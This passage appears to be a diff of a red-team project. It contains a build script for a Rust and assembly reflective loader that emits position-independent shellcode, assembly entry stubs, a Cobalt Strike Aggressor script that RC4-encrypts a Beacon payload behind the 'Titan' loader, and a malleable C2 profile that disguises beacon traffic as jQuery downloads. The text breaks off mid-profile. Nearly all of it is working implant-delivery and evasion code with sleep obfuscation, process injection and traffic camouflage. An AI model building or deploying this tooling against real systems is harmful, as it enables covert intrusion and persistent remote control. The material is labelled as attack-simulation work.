|
||||
env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" }
|
||||
|
||||
# Step 2: Extract .text section → debug shellcode binary
|
||||
[tasks.x64-debug-extract]
|
||||
dependencies = ["x64-debug-build"]
|
||||
command = "${OBJCOPY_X64}"
|
||||
args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x64.bin", "target/x86_64-pc-windows-gnu/release/udrl.dll"]
|
||||
|
||||
# Final task: Print completion message
|
||||
[tasks.x64-debug]
|
||||
dependencies = ["x64-debug-extract"]
|
||||
script_runner = "@duckscript"
|
||||
script = "echo x64 debug build complete"
|
||||
|
||||
# ============================================================================
|
||||
# x86 RELEASE BUILD
|
||||
# ============================================================================
|
||||
# Builds the x86 (32-bit) reflective loader in release mode.
|
||||
# The output is a position-independent shellcode binary for 32-bit targets.
|
||||
|
||||
# Step 1: Compile Rust + assembly → DLL (i686 target)
|
||||
[tasks.x86-build]
|
||||
dependencies = ["dirs"]
|
||||
command = "cargo"
|
||||
args = ["build", "--release", "--target", "i686-pc-windows-gnu"]
|
||||
env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" }
|
||||
|
||||
# Step 2: Extract .text section → x86 shellcode binary
|
||||
[tasks.x86-extract]
|
||||
dependencies = ["x86-build"]
|
||||
command = "${OBJCOPY_X86}"
|
||||
args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x86.bin", "target/i686-pc-windows-gnu/release/udrl.dll"]
|
||||
|
||||
# Final task: Print completion message
|
||||
[tasks.x86]
|
||||
dependencies = ["x86-extract"]
|
||||
script_runner = "@duckscript"
|
||||
script = "echo x86 release build complete"
|
||||
|
||||
# ============================================================================
|
||||
# x86 DEBUG BUILD
|
||||
# ============================================================================
|
||||
# Builds the x86 (32-bit) reflective loader with debug logging enabled.
|
||||
|
||||
# Step 1: Compile with debug-dbgprint + debug-console features (i686 target)
|
||||
[tasks.x86-debug-build]
|
||||
dependencies = ["dirs"]
|
||||
command = "cargo"
|
||||
args = ["build", "--release", "--features", "debug-dbgprint,debug-console", "--target", "i686-pc-windows-gnu"]
|
||||
env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" }
|
||||
|
||||
# Step 2: Extract .text section → x86 debug shellcode binary
|
||||
[tasks.x86-debug-extract]
|
||||
dependencies = ["x86-debug-build"]
|
||||
command = "${OBJCOPY_X86}"
|
||||
args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x86.bin", "target/i686-pc-windows-gnu/release/udrl.dll"]
|
||||
|
||||
# Final task: Print completion message
|
||||
[tasks.x86-debug]
|
||||
dependencies = ["x86-debug-extract"]
|
||||
script_runner = "@duckscript"
|
||||
script = "echo x86 debug build complete"
|
||||
|
||||
# ============================================================================
|
||||
# CLEAN TASK
|
||||
# ============================================================================
|
||||
# Removes all build artifacts (cargo build output + bin/ directory contents).
|
||||
# Overrides cargo-make's built-in clean task with custom logic.
|
||||
#
|
||||
# What gets cleaned:
|
||||
# - target/ directory (via cargo clean)
|
||||
# - bin/*.bin files (shellcode binaries)
|
||||
# - bin/*.exe files (injector executable)
|
||||
[tasks.clean]
|
||||
clear = true
|
||||
script_runner = "@duckscript"
|
||||
script = '''
|
||||
# Clean cargo build artifacts
|
||||
exec cargo clean
|
||||
|
||||
# Resolve bin path relative to project root (works from any directory)
|
||||
root = get_env CARGO_MAKE_WORKING_DIRECTORY
|
||||
bin_path = join_path ${root} ${BIN_DIR}
|
||||
|
||||
# Remove all .bin files (shellcode binaries)
|
||||
bin_files = glob_array ${bin_path}/*.bin
|
||||
for file in ${bin_files}
|
||||
rm ${file}
|
||||
end
|
||||
|
||||
# Remove all .exe files (injector)
|
||||
exe_files = glob_array ${bin_path}/*.exe
|
||||
for file in ${exe_files}
|
||||
rm ${file}
|
||||
end
|
||||
|
||||
echo Cleaned bin artifacts
|
||||
'''
|
||||
|
||||
# ============================================================================
|
||||
# DEBUG TASK
|
||||
# ============================================================================
|
||||
# Builds both x64 and x86 debug versions (with logging) + injector.
|
||||
# Equivalent to: cargo make x64-debug && cargo make x86-debug && cargo make injector
|
||||
[tasks.debug]
|
||||
dependencies = ["x64-debug", "x86-debug", "injector"]
|
||||
|
||||
# ============================================================================
|
||||
# INJECTOR TEST BINARY
|
||||
# ============================================================================
|
||||
# Builds a test injector (examples/injector.rs) for testing the shellcode.
|
||||
# The injector allocates memory, writes shellcode, and executes it.
|
||||
|
||||
# Step 1: Build injector example as standard Windows executable
|
||||
# Note: Clears RUSTFLAGS because injector doesn't use custom linker script
|
||||
[tasks.injector-build]
|
||||
dependencies = ["dirs"]
|
||||
script_runner = "@duckscript"
|
||||
script = '''
|
||||
# Build the injector example (doesn't use linker script)
|
||||
set_env RUSTFLAGS ""
|
||||
exec cargo build --release --example injector --target x86_64-pc-windows-gnu
|
||||
'''
|
||||
|
||||
# Step 2: Copy injector to bin/ directory
|
||||
[tasks.injector-copy]
|
||||
dependencies = ["injector-build"]
|
||||
script_runner = "@duckscript"
|
||||
script = '''
|
||||
cp target/x86_64-pc-windows-gnu/release/examples/injector.exe ${BIN_DIR}/injector.exe
|
||||
echo Copied injector.exe to ${BIN_DIR}/
|
||||
'''
|
||||
|
||||
# Final task: Print completion message
|
||||
[tasks.injector]
|
||||
dependencies = ["injector-copy"]
|
||||
script_runner = "@duckscript"
|
||||
script = "echo Injector test binary ready at ${BIN_DIR}/injector.exe"
|
||||
|
||||
# ============================================================================
|
||||
# TEST TASK
|
||||
# ============================================================================
|
||||
# Builds everything: x64 + x86 release shellcode + injector.
|
||||
# Use this to prepare for testing the shellcode with the injector.
|
||||
[tasks.test]
|
||||
dependencies = ["default", "injector"]
|
||||
|
||||
# ============================================================================
|
||||
# DEFAULT TASK
|
||||
# ============================================================================
|
||||
# Default task when running "cargo make" with no arguments.
|
||||
# Builds x64 + x86 release shellcode + injector (everything you need).
|
||||
[tasks.default]
|
||||
dependencies = ["x64", "x86", "injector"]
|
||||
@@ -0,0 +1,132 @@
|
||||
[BITS 64]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; Misc helpers (x64) - Position-independent utilities and STUB metadata
|
||||
;
|
||||
; PURPOSE:
|
||||
; Provides position-independent primitives for Rust code that cannot be
|
||||
; safely implemented in Rust without breaking PIC (position-independent code).
|
||||
;
|
||||
; FUNCTIONS:
|
||||
; - Stub: STUB metadata structure (region/size/heap/logging)
|
||||
; - StubAddr: Returns runtime address of Stub (RIP-relative)
|
||||
; - GetIp: Returns current instruction pointer (RIP)
|
||||
;
|
||||
; WHY ASSEMBLY?
|
||||
; 1. Rust cannot safely get current instruction pointer
|
||||
; 2. RIP-relative addressing is needed for position-independence
|
||||
; 3. STUB must be at known location for hooks to access runtime data
|
||||
;
|
||||
; SECTION PLACEMENT:
|
||||
; - .text$C: STUB data and StubAddr (middle of code section)
|
||||
; - .text$ZZ: GetIp and Leave marker (end of code section)
|
||||
;--------------------------------------------------------------------------
|
||||
GLOBAL GetIp
|
||||
GLOBAL Stub
|
||||
GLOBAL StubAddr
|
||||
|
||||
[SECTION .text$C]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; Stub - STUB metadata structure
|
||||
;
|
||||
; PURPOSE:
|
||||
; Runtime data structure accessed by IAT hooks to get:
|
||||
; - Memory region bounds for sleep obfuscation encryption
|
||||
; - Custom heap handle for beacon allocations
|
||||
;
|
||||
; LAYOUT (must match Rust STUB struct in src/loader.rs):
|
||||
; Offset | Size | Field | Description
|
||||
; -------|------|----------------|------------------------------------------
|
||||
; 0x00 | 8 | Region | Base address of allocated region
|
||||
; 0x08 | 8 | RegionSize | Total size of region in bytes
|
||||
; 0x10 | 8 | StubSize | Size of stub/loader code
|
||||
; 0x18 | 8 | Heap | Custom heap handle (from RtlCreateHeap)
|
||||
; 0x20 | 4 | NumSections | Number of PE sections
|
||||
; 0x24 | 480 | Sections[20] | Array of MemorySection structs
|
||||
; 0x204 | 8 | Api (pointer) | *mut Api → points to +0x20C storage
|
||||
; 0x20C | 8192 | Api (storage) | Inline Api struct (filled by fill_stub)
|
||||
;
|
||||
; INITIALIZATION:
|
||||
; All fields start as 0 and are populated by loader's fill_stub().
|
||||
;
|
||||
; ACCESS:
|
||||
; Hooks use StubAddr() to get the runtime address of this structure.
|
||||
;--------------------------------------------------------------------------
|
||||
Stub:
|
||||
dq 0 ; +0x00: Region base address (8 bytes)
|
||||
dq 0 ; +0x08: Region size in bytes (8 bytes)
|
||||
dq 0 ; +0x10: Stub size in bytes (8 bytes)
|
||||
dq 0 ; +0x18: Custom heap handle (8 bytes)
|
||||
dd 0 ; +0x20: Number of sections (4 bytes)
|
||||
; +0x24: sections[20] array - each MemorySection is 24 bytes
|
||||
; MemorySection: base_address(8) + size(8) + current_protect(4) + previous_protect(4)
|
||||
times 480 db 0 ; 20 * 24 = 480 bytes
|
||||
; +0x204: Api pointer (points to inline storage at +0x20C below)
|
||||
dq 0 ; *mut Api (8 bytes)
|
||||
; +0x20C: Inline Api storage (filled by fill_stub via memcopy)
|
||||
; Api is ~4300 bytes (with FramePool in each Config); reserve 8192 for safety
|
||||
times 8192 db 0 ; Api storage
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; StubAddr - Returns runtime address of STUB structure
|
||||
;
|
||||
; PURPOSE:
|
||||
; Provides position-independent access to the STUB metadata structure.
|
||||
; Uses RIP-relative addressing (LEA [rel Stub]) to calculate the runtime
|
||||
; address regardless of where the code is loaded.
|
||||
;
|
||||
; CALLING CONVENTION:
|
||||
; No arguments
|
||||
;
|
||||
; RETURNS:
|
||||
; RAX = Runtime address of Stub structure
|
||||
;
|
||||
; WHY ASSEMBLY?
|
||||
; Rust cannot safely perform RIP-relative addressing without relocations.
|
||||
; This function enables true position-independent STUB access.
|
||||
;
|
||||
; USAGE FROM RUST:
|
||||
; let stub_ptr = StubAddr() as PSTUB;
|
||||
; let custom_heap = (*stub_ptr).heap;
|
||||
;--------------------------------------------------------------------------
|
||||
StubAddr:
|
||||
lea rax, [rel Stub] ; Calculate runtime address of Stub (RIP-relative)
|
||||
ret ; Return address in RAX
|
||||
|
||||
[SECTION .text$ZZ]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; GetIp - Returns current instruction pointer (RIP)
|
||||
;
|
||||
; PURPOSE:
|
||||
; Retrieves the current instruction pointer for position-independent
|
||||
; offset calculations (OFFSET macro and G_END function in Rust).
|
||||
;
|
||||
; HOW IT WORKS:
|
||||
; 1. CALL pushes return address (next instruction) onto stack
|
||||
; 2. POP retrieves that return address into RAX
|
||||
; 3. SUB 5 adjusts back to the CALL instruction address
|
||||
;
|
||||
; CALLING CONVENTION:
|
||||
; No arguments
|
||||
;
|
||||
; RETURNS:
|
||||
; RAX = Current instruction pointer (address of CALL instruction)
|
||||
;
|
||||
; WHY ASSEMBLY?
|
||||
; Rust has no safe way to retrieve the instruction pointer without breaking
|
||||
; position-independence. This technique is standard for PIC shellcode.
|
||||
;
|
||||
; USAGE FROM RUST:
|
||||
; Used by OFFSET() and G_END() macros for runtime address calculations.
|
||||
;--------------------------------------------------------------------------
|
||||
GetIp:
|
||||
call get_ret_ptr ; Push next instruction address onto stack
|
||||
|
||||
get_ret_ptr:
|
||||
pop rax ; Pop return address into RAX
|
||||
sub rax, 5 ; Adjust back 5 bytes (size of CALL instruction)
|
||||
ret ; Return RIP in RAX
|
||||
|
||||
; Note: No marker at end - CONFIG struct from CNA is directly after GetIp
|
||||
@@ -0,0 +1,50 @@
|
||||
[BITS 64]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; Start (x64) - Assembly entry point and stack alignment trampoline
|
||||
;
|
||||
; PURPOSE:
|
||||
; Provides the initial entry point for the reflective loader. This function
|
||||
; ensures proper stack alignment before transferring control to Rust code.
|
||||
;
|
||||
; WHY THIS EXISTS:
|
||||
; 1. x64 calling convention requires 16-byte stack alignment
|
||||
; 2. Caller may not provide aligned stack (shellcode, injection, etc.)
|
||||
; 3. Must allocate shadow space for Windows x64 calling convention
|
||||
; 4. Provides clean transition from assembly to Rust
|
||||
;
|
||||
; EXECUTION FLOW:
|
||||
; 1. Save caller's RSI register (preserve calling context)
|
||||
; 2. Align stack to 16-byte boundary (required by x64 ABI)
|
||||
; 3. Allocate shadow space (32 bytes for Windows x64)
|
||||
; 4. Call Rust Entry() function
|
||||
; 5. Restore stack and RSI on return
|
||||
;
|
||||
; SECTION PLACEMENT:
|
||||
; Placed in .text$A to ensure it comes BEFORE Rust code in .text$B.
|
||||
; This guarantees the assembly entry point is at the beginning of the
|
||||
; .text section, making it the first code executed.
|
||||
;
|
||||
; CALLING CONVENTION:
|
||||
; Windows x64 (rcx=arg1, rdx=arg2, r8=arg3, r9=arg4)
|
||||
; Shadow space: 32 bytes (0x20) on stack for first 4 register args
|
||||
;
|
||||
; REGISTERS:
|
||||
; RSI - Temporarily used to save original stack pointer
|
||||
; RSP - Stack pointer (aligned and shadow space allocated)
|
||||
; All other registers preserved by called functions
|
||||
;--------------------------------------------------------------------------
|
||||
EXTERN Entry
|
||||
GLOBAL Start
|
||||
|
||||
[SECTION .text$A]
|
||||
|
||||
Start:
|
||||
push rsi ; Step 1: Save caller's RSI register
|
||||
mov rsi, rsp ; Step 2: Save original stack pointer in RSI
|
||||
and rsp, 0FFFFFFFFFFFFFFF0h ; Step 3: Align stack to 16-byte boundary
|
||||
sub rsp, 020h ; Step 4: Allocate 32 bytes shadow space
|
||||
call Entry ; Step 5: Transfer control to Rust Entry()
|
||||
mov rsp, rsi ; Step 6: Restore original stack pointer
|
||||
pop rsi ; Step 7: Restore caller's RSI register
|
||||
ret ; Step 8: Return to caller
|
||||
@@ -0,0 +1,150 @@
|
||||
[BITS 32]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; Misc helpers (x86) - Position-independent utilities and STUB metadata
|
||||
;
|
||||
; PURPOSE:
|
||||
; Provides position-independent primitives for Rust code on 32-bit systems.
|
||||
; Mirrors x64 functionality but adapted for x86 architecture.
|
||||
;
|
||||
; FUNCTIONS:
|
||||
; - _Stub: STUB metadata structure (region/size/heap/logging)
|
||||
; - _StubAddr: Returns runtime address of Stub (EIP-relative)
|
||||
; - _GetIp: Returns current instruction pointer (EIP)
|
||||
;
|
||||
; WHY ASSEMBLY?
|
||||
; 1. Rust cannot safely get current instruction pointer
|
||||
; 2. EIP-relative addressing is needed for position-independence
|
||||
; 3. STUB must be at known location for hooks to access runtime data
|
||||
;
|
||||
; SECTION PLACEMENT:
|
||||
; - .text$C: STUB data and _StubAddr (middle of code section)
|
||||
; - .text$ZZ: _GetIp and _Leave marker (end of code section)
|
||||
;
|
||||
; NOTE:
|
||||
; x86 uses underscore prefix (_Stub, _GetIp, etc.) for C name mangling.
|
||||
;--------------------------------------------------------------------------
|
||||
GLOBAL _GetIp
|
||||
GLOBAL _Stub
|
||||
GLOBAL _StubAddr
|
||||
|
||||
[SECTION .text$C]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; _Stub - STUB metadata structure (x86)
|
||||
;
|
||||
; PURPOSE:
|
||||
; Runtime data structure accessed by IAT hooks to get:
|
||||
; - Memory region bounds for sleep obfuscation encryption
|
||||
; - Custom heap handle for beacon allocations
|
||||
;
|
||||
; LAYOUT:
|
||||
; Offset | Size | Field | Description
|
||||
; -------|------|---------------|------------------------------------------
|
||||
; 0x00 | 4 | Region | Base address of allocated region
|
||||
; 0x04 | 4 | Size | Total size of region in bytes
|
||||
; 0x08 | 4 | Heap | Custom heap handle (from RtlCreateHeap)
|
||||
; 0x0C | 4 | NumSections | Number of PE sections
|
||||
; 0x10 | 320 | Sections[20] | Array of MemorySection structs (x86)
|
||||
; 0x150 | 4 | Api (pointer) | *mut Api → points to +0x154 storage
|
||||
; 0x154 | 8192 | Api (storage) | Inline Api struct (filled by fill_stub)
|
||||
;
|
||||
; NOTE:
|
||||
; Console/WriteFile fields removed - logging now resolves APIs fresh
|
||||
; each call for RX memory compatibility (no writes to STUB needed).
|
||||
;
|
||||
; WARNING:
|
||||
; The Rust STUB struct (loader.rs) includes a `stub_size` field between
|
||||
; Size and Heap. This x86 ASM layout does NOT include that field, so
|
||||
; offsets diverge from the Rust struct at +0x08 onward. This must be
|
||||
; reconciled if x86 support is needed.
|
||||
;
|
||||
; INITIALIZATION:
|
||||
; All fields start as 0 and are populated by loader's fill_stub() function.
|
||||
;
|
||||
; ACCESS:
|
||||
; Hooks use _StubAddr() to get the runtime address of this structure.
|
||||
;--------------------------------------------------------------------------
|
||||
_Stub:
|
||||
dd 0 ; +0x00: Region base address (4 bytes)
|
||||
dd 0 ; +0x04: Region size in bytes (4 bytes)
|
||||
dd 0 ; +0x08: Custom heap handle (4 bytes)
|
||||
dd 0 ; +0x0C: Number of sections (4 bytes)
|
||||
; +0x10: sections[20] array - each MemorySection is 16 bytes (x86)
|
||||
; MemorySection: base_address(4) + size(4) + current_protect(4) + previous_protect(4)
|
||||
times 320 db 0 ; 20 * 16 = 320 bytes
|
||||
; +0x150: Api pointer (points to inline storage at +0x154 below)
|
||||
dd 0 ; *mut Api (4 bytes)
|
||||
; +0x154: Inline Api storage (filled by fill_stub via memcopy)
|
||||
; Api is ~4300 bytes (with FramePool in each Config); reserve 8192 for safety
|
||||
times 8192 db 0 ; Api storage
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; _StubAddr - Returns runtime address of STUB structure (x86)
|
||||
;
|
||||
; PURPOSE:
|
||||
; Provides position-independent access to the STUB metadata structure.
|
||||
; Uses EIP-relative calculation to determine runtime address.
|
||||
;
|
||||
; HOW IT WORKS:
|
||||
; 1. CALL .get_eip pushes return address (EIP) onto stack
|
||||
; 2. POP retrieves EIP into EAX
|
||||
; 3. SUB calculates offset back to _Stub from current EIP
|
||||
;
|
||||
; CALLING CONVENTION:
|
||||
; No arguments (x86 cdecl)
|
||||
;
|
||||
; RETURNS:
|
||||
; EAX = Runtime address of _Stub structure
|
||||
;
|
||||
; WHY ASSEMBLY?
|
||||
; Rust cannot safely perform EIP-relative addressing without relocations.
|
||||
; This function enables true position-independent STUB access on x86.
|
||||
;
|
||||
; USAGE FROM RUST:
|
||||
; let stub_ptr = _StubAddr() as PSTUB;
|
||||
; let custom_heap = (*stub_ptr).heap;
|
||||
;--------------------------------------------------------------------------
|
||||
_StubAddr:
|
||||
call .get_eip ; Push next instruction address (EIP)
|
||||
.get_eip:
|
||||
pop eax ; Pop EIP into EAX
|
||||
sub eax, .get_eip - _Stub ; Calculate offset to _Stub
|
||||
ret ; Return address in EAX
|
||||
|
||||
[SECTION .text$ZZ]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; _GetIp - Returns current instruction pointer (EIP) for x86
|
||||
;
|
||||
; PURPOSE:
|
||||
; Retrieves the current instruction pointer for position-independent
|
||||
; offset calculations (OFFSET macro and G_END function in Rust).
|
||||
;
|
||||
; HOW IT WORKS:
|
||||
; 1. CALL pushes return address (next instruction) onto stack
|
||||
; 2. POP retrieves that return address into EAX
|
||||
; 3. SUB 5 adjusts back to the CALL instruction address
|
||||
;
|
||||
; CALLING CONVENTION:
|
||||
; No arguments (x86 cdecl)
|
||||
;
|
||||
; RETURNS:
|
||||
; EAX = Current instruction pointer (address of CALL instruction)
|
||||
;
|
||||
; WHY ASSEMBLY?
|
||||
; Rust has no safe way to retrieve the instruction pointer without breaking
|
||||
; position-independence. This technique is standard for PIC shellcode.
|
||||
;
|
||||
; USAGE FROM RUST:
|
||||
; Used by OFFSET() and G_END() macros for runtime address calculations.
|
||||
;--------------------------------------------------------------------------
|
||||
_GetIp:
|
||||
call _get_ret_ptr ; Push next instruction address onto stack
|
||||
|
||||
_get_ret_ptr:
|
||||
pop eax ; Pop return address into EAX
|
||||
sub eax, 5 ; Adjust back 5 bytes (size of CALL instruction)
|
||||
ret ; Return EIP in EAX
|
||||
|
||||
; Note: No marker at end - CONFIG struct from CNA is directly after GetIp
|
||||
@@ -0,0 +1,53 @@
|
||||
[BITS 32]
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; _Start (x86) - 32-bit assembly entry point and stack alignment trampoline
|
||||
;
|
||||
; PURPOSE:
|
||||
; Provides the initial entry point for the reflective loader on 32-bit systems.
|
||||
; Ensures proper stack alignment before transferring control to Rust code.
|
||||
;
|
||||
; WHY THIS EXISTS:
|
||||
; 1. x86 calling convention benefits from 16-byte stack alignment (SSE)
|
||||
; 2. Caller may not provide aligned stack (shellcode, injection, etc.)
|
||||
; 3. Allocates shadow space for consistency with x64 (32 bytes)
|
||||
; 4. Provides clean transition from assembly to Rust
|
||||
;
|
||||
; EXECUTION FLOW:
|
||||
; 1. Save caller's ESI register (preserve calling context)
|
||||
; 2. Align stack to 16-byte boundary (optional but recommended for SSE)
|
||||
; 3. Allocate shadow space (32 bytes for consistency)
|
||||
; 4. Call Rust _Entry() function
|
||||
; 5. Restore stack and ESI on return
|
||||
;
|
||||
; SECTION PLACEMENT:
|
||||
; Placed in .text$A to ensure it comes BEFORE Rust code in .text$B.
|
||||
; This guarantees the assembly entry point is at the beginning of the
|
||||
; .text section, making it the first code executed.
|
||||
;
|
||||
; CALLING CONVENTION:
|
||||
; x86 cdecl (arguments on stack, caller cleans up)
|
||||
; Stack alignment: 16 bytes (for SSE compatibility)
|
||||
;
|
||||
; REGISTERS:
|
||||
; ESI - Temporarily used to save original stack pointer
|
||||
; ESP - Stack pointer (aligned and shadow space allocated)
|
||||
; All other registers preserved by called functions
|
||||
;
|
||||
; NOTE:
|
||||
; x86 uses underscore prefix (_Start, _Entry) for C name mangling.
|
||||
;--------------------------------------------------------------------------
|
||||
EXTERN _Entry
|
||||
GLOBAL _Start
|
||||
|
||||
[SECTION .text$A]
|
||||
|
||||
_Start:
|
||||
push esi ; Step 1: Save caller's ESI register
|
||||
mov esi, esp ; Step 2: Save original stack pointer in ESI
|
||||
and esp, 0FFFFFFF0h ; Step 3: Align stack to 16-byte boundary
|
||||
sub esp, 020h ; Step 4: Allocate 32 bytes shadow space
|
||||
call _Entry ; Step 5: Transfer control to Rust _Entry()
|
||||
mov esp, esi ; Step 6: Restore original stack pointer
|
||||
pop esi ; Step 7: Restore caller's ESI register
|
||||
ret ; Step 8: Return to caller
|
||||
@@ -0,0 +1,101 @@
|
||||
##
|
||||
## Reflective Loader
|
||||
##
|
||||
## GuidePoint Security LLC
|
||||
##
|
||||
## Threat and Attack Simulation
|
||||
##
|
||||
|
||||
import javax.crypto.spec.*;
|
||||
import java.security.*;
|
||||
import javax.crypto.*;
|
||||
|
||||
##
|
||||
## Generates a random string ( @offsecginger )
|
||||
##
|
||||
sub random_string {
|
||||
$limit = $1;
|
||||
@random_str = @();
|
||||
$characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
for ($x = 0; $x < $limit; $x++) {
|
||||
$n = rand(strlen($characters));
|
||||
add(@random_str, charAt($characters, $n));
|
||||
}
|
||||
return join('', @random_str);
|
||||
}
|
||||
|
||||
##
|
||||
## Inserts titan into Beacon
|
||||
##
|
||||
set BEACON_RDLL_GENERATE {
|
||||
|
||||
##
|
||||
## Open up titan.
|
||||
##
|
||||
$hnd = openf( script_resource( "Titan.". $3 .".bin" ) );
|
||||
$ldr = readb( $hnd, -1 );
|
||||
closef( $hnd );
|
||||
|
||||
if ( strlen( $ldr ) == 0 ) {
|
||||
##
|
||||
## Titan was not compiled.
|
||||
##
|
||||
warn( 'titan has not been compiled, using standard cobalt loader.' );
|
||||
return $null;
|
||||
};
|
||||
|
||||
$prf = data_query( "metadata" )["c2profile"];
|
||||
if ( [ $prf getString: ".stage.sleep_mask" ] eq "true" ) {
|
||||
if ( [ $prf getString: ".stage.obfuscate" ] eq "false" ) {
|
||||
##
|
||||
## We cannot use sleep_mask with Titan if obfuscate = False
|
||||
##
|
||||
warn( 'titan cannot be used with sleep_mask if obfuscate is set to false' );
|
||||
return $null;
|
||||
};
|
||||
};
|
||||
|
||||
##
|
||||
## Ask questions about whether we need workstation
|
||||
## or other tweaks inserted into the payload on the
|
||||
## fly.
|
||||
##
|
||||
|
||||
println( ' ___________________ _ __' );
|
||||
println( '/_ __/ _/_ __/ _ | / |/ /' );
|
||||
println( ' / / _/ / / / / __ |/ / ' );
|
||||
println( '/_/ /___/ /_/ /_/ |_/_/|_/ ' );
|
||||
println( '============================' );
|
||||
println( 'Reflective Loader by Austin ' );
|
||||
println( 'GuidePoint Security LLC' );
|
||||
println( '============================' );
|
||||
|
||||
##
|
||||
## Encrypt the incoming buffer with RC4. Then
|
||||
## we build a structure information titan of
|
||||
## the key.
|
||||
##
|
||||
|
||||
$str = random_string( "16" );
|
||||
$cip = [ Cipher getInstance: "RC4" ];
|
||||
$key = [ new SecretKeySpec: $str, "RC4" ];
|
||||
[ $cip init: [ Cipher DECRYPT_MODE ], $key ];
|
||||
$buf = [ $cip doFinal: $2 ];
|
||||
$inf = pack( 'I+', strlen( $buf ) );
|
||||
$inf .= $str . $buf;
|
||||
|
||||
println( "ARC4: ". $str );
|
||||
println( "SIZE: ". strlen( $ldr . $inf ) );
|
||||
|
||||
##
|
||||
## Return Information
|
||||
##
|
||||
return $ldr . $inf;
|
||||
};
|
||||
|
||||
##
|
||||
## Size
|
||||
##
|
||||
set BEACON_RDLL_SIZE {
|
||||
return "0";
|
||||
};
|
||||
@@ -0,0 +1,129 @@
|
||||
set sleeptime "5000";
|
||||
|
||||
# AceLdr recommended/required args
|
||||
stage {
|
||||
set cleanup "true"; # Recommended, proof that it works
|
||||
set userwx "false"; # Recommended, proof that it works
|
||||
set sleep_mask "false"; # !!Required!!
|
||||
set obfuscate "true"; # Recommended, proof that it works
|
||||
set stomppe "true"; # Recommended, proof that it works
|
||||
set smartinject "false"; # !!Required!!
|
||||
set allocator "VirtualAlloc"; # Not required, just an example
|
||||
}
|
||||
|
||||
process-inject {
|
||||
set userwx "false"; # Recommended, proof that it works
|
||||
set startrwx "false"; # Recommended, proof that it works
|
||||
set allocator "VirtualAllocEx"; # Not required, just an example
|
||||
execute { # Not required, just an example
|
||||
CreateThread;
|
||||
CreateRemoteThread;
|
||||
NtQueueApcThread;
|
||||
RtlCreateUserThread;
|
||||
}
|
||||
}
|
||||
|
||||
post-ex {
|
||||
set obfuscate "true"; # Recommended, proof that it works
|
||||
set smartinject "true"; # !!Required!!
|
||||
}
|
||||
|
||||
# The rest of this is just JQuery example profile
|
||||
http-config {
|
||||
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
|
||||
header "Server" "Apache";
|
||||
header "Keep-Alive" "timeout=10, max=100";
|
||||
header "Connection" "Keep-Alive";
|
||||
# Use this option if your teamserver is behind a redirector
|
||||
set trust_x_forwarded_for "true";
|
||||
# Block Specific User Agents with a 404 (added in 4.3)
|
||||
set block_useragents "curl*,lynx*,wget*";
|
||||
}
|
||||
|
||||
http-get {
|
||||
|
||||
set uri "/jquery-3.3.1.min.js";
|
||||
set verb "GET";
|
||||
|
||||
client {
|
||||
|
||||
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
|
||||
#header "Host" "code.jquery.com";
|
||||
header "Referer" "http://code.jquery.com/";
|
||||
header "Accept-Encoding" "gzip, deflate";
|
||||
|
||||
metadata {
|
||||
base64url;
|
||||
prepend "__cfduid=";
|
||||
header "Cookie";
|
||||
}
|
||||
}
|
||||
|
||||
server {
|
||||
|
||||
header "Server" "NetDNA-cache/2.2";
|
||||
header "Cache-Control" "max-age=0, no-cache";
|
||||
header "Pragma" "no-cache";
|
||||
header "Connection" "keep-alive";
|
||||
header "Content-Type" "application/javascript; charset=utf-8";
|
||||
|
||||
output {
|
||||
mask;
|
||||
base64url;
|
||||
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
|
||||
# 2nd Line
|
||||
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var 